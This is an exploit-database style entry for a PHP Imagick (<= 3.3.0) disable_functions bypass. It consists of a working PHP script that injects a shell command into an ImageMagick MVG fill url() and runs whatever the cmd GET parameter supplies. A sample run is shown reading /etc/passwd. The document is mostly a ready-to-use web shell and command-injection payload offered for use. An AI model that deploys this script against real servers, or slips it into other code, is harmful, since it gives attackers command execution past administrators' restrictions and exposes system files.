Imagick 3.3.0 (PHP 5.4) - disable_functions Bypass

# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
# Exploit Author: RicterZ (ricter@chaitin.com)
# Vendor Homepage: https://pecl.php.net/package/imagick
# Version: Imagick  <= 3.3.0 PHP >= 5.4
# Test on: Ubuntu 12.04

# Exploit:

<?php
# PHP Imagick disable_functions Bypass
# Author: Ricter <ricter@chaitin.com>
#
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";

$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
pop graphic-context
EOF;

file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();

echo file_get_contents($data_file);
?>